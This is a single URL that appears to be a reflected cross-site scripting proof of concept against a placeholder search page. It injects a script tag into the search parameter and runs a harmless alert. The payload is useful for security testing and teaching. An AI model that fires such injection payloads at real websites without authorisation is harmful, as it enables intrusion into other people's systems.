http://www.example.com/search.php?search="><script>alert(/vuln/)</script>